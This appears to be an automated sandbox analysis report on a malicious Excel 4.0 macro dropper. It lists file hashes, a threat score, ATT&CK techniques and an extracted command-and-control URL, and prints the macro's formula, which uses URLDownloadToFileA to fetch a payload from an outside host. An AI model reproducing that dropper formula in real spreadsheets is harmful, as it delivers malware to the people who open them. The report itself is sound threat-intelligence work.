Overview

overview

10

Static

static

10

document-1...43.xls

windows7_x64

10

document-1...43.xls

windows10_x64

10

Sharing

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General

  • Target

    attached (63).zip

  • Size

    11KB

  • Sample

    210306-q86wxdvt2j

  • MD5

    3c7575af64aa28a479b84de660b0d7f1

  • SHA1

    ba2d2425d42787d7f9cfda785b707a68ce1a5e9d

  • SHA256

    ac8262129a41f40bc642673fb60c24dcad4da5af12f398cbb41b67ff337ed5e1

  • SHA512

    e02c7c24b04a5a8121e53ecd68aa6d1875c72e3ab5fb7190bdd315501ff014a08f0a37828979db2d61c6aca705e755154ed74e277d603e1f4cf5db321d861433

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://ttj10qrrqx03kdts.com/inda.xls

Attributes
  • formulas

    =CALL("URLMon","URLDownloadToFileA","JJCCBB",0,"http://ttj10qrrqx03kdts.com/inda.xls","..\fkruf.djr",0)

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://ttj10qrrqx03kdts.com/inda.xls

Targets

    • Target

      document-1557878943.xls

    • Size

      39KB

    • MD5

      859443784b857b985a2656c8ef8b585e

    • SHA1

      46c83701b4204d1a1a7acac46aa81eb200f89b6e

    • SHA256

      1b6fba5ecc7453ff21ea5162ec52e5af180de5b14d4f7ac7f976d56f93c5e84a

    • SHA512

      9684ae131110bcac95618e605dc3579d766c855f990f54129059d8f441e4b9bcc818faf8b5805af01894361b96bf990d5965d96c61283b15c431abeea3f8554f

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks